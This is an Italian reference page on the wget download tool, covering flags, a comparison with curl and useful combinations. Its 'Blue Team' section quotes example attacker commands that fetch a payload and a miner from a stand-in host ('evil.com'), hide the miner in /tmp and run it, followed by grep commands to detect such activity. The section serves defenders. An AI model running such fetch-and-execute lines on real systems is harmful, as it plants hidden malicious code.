Cosa fa#
Scarica file da URL in modo non interattivo. Progettato per il download di file — riprende automaticamente i download interrotti, supporta download ricorsivi di siti interi e funziona bene in background e negli script. A differenza di curl, non e' pensato per testare API o vedere header.
Sintassi#
wget [opzioni] URL
Comandi essenziali#
| Comando | Flag | Significato flag | Cosa fa |
|---|---|---|---|
wget https://example.com/file.zip | — | — | Scarica il file nella directory corrente |
wget -O nome.zip URL | -O | output file | Specifica il nome del file scaricato |
wget -c URL | -c | continue | Riprende un download interrotto |
wget -b URL | -b | background | Scarica in background, log in wget-log |
wget -q URL | -q | quiet | Nessun output — silenzioso |
wget --limit-rate=1m URL | --limit-rate | — | Limita la velocita' a 1MB/s |
wget -r -l 2 URL | -r -l | recursive + level | Scarica il sito ricorsivamente fino a 2 livelli |
wget -i lista.txt | -i | input file | Scarica tutti gli URL da un file di testo |
wget vs curl#
wget curl
──────────────────────── ──────────────────────────────
ottimizzato per download ottimizzato per trasferimento
riprende automaticamente riprende con -C -
ricorsivo nativo non ricorsivo
meno flag HTTP flag HTTP completi
output su file di default output su stdout di default
meglio per script/batch meglio per API e debugRegola pratica: usa wget per scaricare file, usa curl per testare API e vedere header.
Combinazioni utili#
# Scarica e riprendi se interrotto
wget -c https://example.com/file-grande.iso
# Scarica in background e vai avanti
wget -b https://example.com/file.zip
# output in wget-log
tail -f wget-log # monitoraggio
# Scarica piu' file da lista
cat urls.txt | xargs wget -q
# Mirror di un sito (con limitazioni)
wget --mirror --convert-links --page-requisites https://example.comScenario Reale — Blue Team#
wget e' spesso usato dagli attaccanti per scaricare payload dopo l'accesso iniziale:
# Pattern sospetto in auth.log o bash_history:
wget http://IP-sospetto/payload.sh
wget -q http://evil.com/miner -O /tmp/.hidden
chmod +x /tmp/.hidden && /tmp/.hidden &# Difesa — cerca wget in bash_history
grep -i "wget" ~/.bash_history
grep -i "wget" /home/*/. bash_history 2>/dev/null
# Cerca processi wget in esecuzione
ps aux | grep wgetwget -q in bash_history e' un segnale di allarme — il flag silenzioso e' usato per nascondere i download. Un utente legittimo quasi mai ha bisogno di -q.
Note personali#
Su alcuni sistemi minimali wget non e' installato di default ma curl si — e viceversa. Negli script di incident response e' buona pratica verificare quale dei due e' disponibile con which wget || which curl.


